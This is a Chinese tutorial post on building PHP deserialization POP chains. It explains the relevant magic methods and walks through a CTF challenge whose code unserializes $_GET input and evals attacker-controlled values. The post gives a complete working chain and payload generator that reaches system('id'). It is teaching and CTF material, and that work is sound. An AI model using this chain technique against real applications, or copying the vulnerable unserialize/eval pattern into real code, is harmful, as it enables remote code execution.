当前位置: 首页 > 工具软件 > Pop php > 使用案例 >

PHP反序列化pop链的构造

欧阳衡
2023-12-01

目录

一、什么是pop链:

二、与pop链有关的魔术方法:

三、pop链构造举例

以下面代码为例:

pop链分析:

总pop链为:


一、什么是pop链:

        它是一种面向属性编程,常用于构造调用链的方法。利用题目源码所给出的各个类,将各个类中原本无害的各个函数,通过构造pop链,使类及其函数有机的组合在一起,从而达到攻击的效果

二、与pop链有关的魔术方法:

__construct()  //当对象创建时触发
__destruct()   //当对象销毁时触发
__wakeup()     //当使用unserialize时触发
__sleep()     //当使用serialize时触发
__destruct()  //当对象被销毁时触发
__call()      //当对象上下文中调用不可访问的方法时触发
__get()       //当访问不可访问或不存在的属性时触发
__set()       //当设置不可访问或不存在属性时触发
__toString()  //当把类当作字符串使用时触发
__invoke()    //当对象调用为函数时触发

        其中经常用到的为_toString方法,当这个类被当做字符串处理时自动调用,比如说定义了一个a类,当a与处理字符串的函数结合时,便会调用此方法,例如 echo $a

三、pop链构造举例

以下面代码为例:

<?php
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    } 
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }
echo unserialize($_GET['a']);
?>

pop链分析:

第一个类为:

class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    } 

类中的构造方法可以忽略,反序列化时不会执行,其中析构方法会在类执行结束时自动执行,通过分析可知,如果$this->name == 'welcome_to_NKCTF,便会输出arg变量,arg变量可控,可将此类作为pop链头,传入参数

第二个类为:

    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            eval($shell($cmd));
        }
    }

由_invoke方法可知,该类被当做函数执行时,会执行eval($shell($cmd)),该函数可被注入恶意代码,并且$shell和$cmd变量都可控,可将此类作为pop链终点,执行恶意代码

第三个类为:

    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

由_toString方法可知,该类被当做字符串执行时,会执行$function()函数,并且函数名可控,可将此类作为pop链的中部,承上启下

脉络梳理:

我们可以通过Welcome类中的echo函数,将Hell0类当做字符串,从而调用Hell0中的_toString方法

代码表示为:

$a=new Welcome();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;

然后可以将Hell0类中的$function变量赋值为Happy类,从而在Hell0类被当做字符串调用时,通过_toString方法调用Happy类中的_invoke方法,从而执行恶意代码

代码表示为:

$b=new Happy();
$c=new Hell0();
$b->shell='system';
$b->cmd="id";
$c->func=$b;

总pop链为:

$a=new Welcome();
$b=new Happy();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
$c->func=$b;
$b->shell='system';
$b->cmd="id";
echo urlencode(serialize($a));

调用过程 :Welcome::echo   ->   Hell0::_toString  -> Hell0::$function ->  Happy::_invoke

 类似资料: